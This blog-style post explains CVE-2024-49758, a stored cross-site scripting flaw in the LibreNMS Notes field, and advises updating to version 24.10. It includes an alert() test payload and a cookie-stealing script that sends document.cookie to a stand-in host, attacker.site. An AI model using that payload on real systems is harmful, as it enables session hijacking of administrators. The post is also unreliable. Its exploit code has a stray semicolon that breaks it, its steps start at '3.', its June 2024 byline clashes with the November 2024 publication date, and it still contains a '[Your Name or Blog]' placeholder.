CVE-2024-49758 - How a Simple Note Became an XSS Exploit in LibreNMS (with Code and Exploit Details)

LibreNMS is a popular open-source tool that helps many sysadmins and IT teams monitor their network using PHP, MySQL, and SNMP. It's easy to use, rich with plugins, and used everywhere—from small businesses to big companies.

In 2024, a serious vulnerability (CVE-2024-49758) was discovered in LibreNMS. This bug allowed attackers to run their own JavaScript code right inside the web interface! All they needed was Admin access and a clever note. Let’s break down how it happened, show how it can be exploited, and explain how to protect yourself.

What’s the Issue? (Vulnerability Overview)

In LibreNMS, admins can add Notes to devices—handy for tracking info, issues, or reminders. Normally, any user-input should be sanitized: that means scrubbing out unwanted HTML and JavaScript to prevent "cross-site scripting" (XSS) attacks.

However, if you enabled the included ExamplePlugin, LibreNMS failed to sanitize input in the Notes field. If someone put JavaScript in a Device Note, that script would run as soon as another admin viewed the device page. That means: session theft, dashboard manipulation, and a big security hole.

The bug is tracked as CVE-2024-49758.

Go to *Devices > [your device] > Notes*, add a new note, and insert the following payload

<script>alert('XSS by CVE-2024-49758')</script>

3. What Happens Next

When any admin (including yourself) visits the affected device page and the page loads the Notes with the ExamplePlugin enabled, your JavaScript runs. You might see an alert box—but a real attacker could do much worse, like steal cookies or modify data.

Here’s a minimal proof of concept

<!-- Malicious note content -->
<script>
  // Send the user's cookies to the attacker's server
  fetch('https://attacker.site/steal?cookie='; + document.cookie);
</script>

Why Did This Happen?

The core issue is that the plugin and/or the Notes rendering path did not escape or filter dangerous HTML or script tags. So, browsers happily rendered code that admins entered as notes, instead of showing it safely as text.

How to Fix & Protect Yourself

This vulnerability is fixed in LibreNMS 24.10. and newer.

Update LibreNMS as soon as possible.

- Download: https://github.com/librenms/librenms/releases
- Release Notes: v24.10.

References and More Reading

- Official GHSA Advisory: CVE-2024-49758
- LibreNMS GitHub Repo
- OWASP: Cross Site Scripting (XSS)
- LibreNMS Release Notes

Quick Summary

- CVE-2024-49758: Admins could abuse Notes field to inject malicious JavaScript in LibreNMS if ExamplePlugin was enabled.

If you run LibreNMS, update now, check your device notes, and remind your team: trust, but sanitize!

*Exclusive content by [Your Name or Blog], June 2024. Stay safe, and happy monitoring!*

Timeline

Published on: 11/15/2024 16:15:34 UTC
Last modified on: 11/20/2024 14:40:36 UTC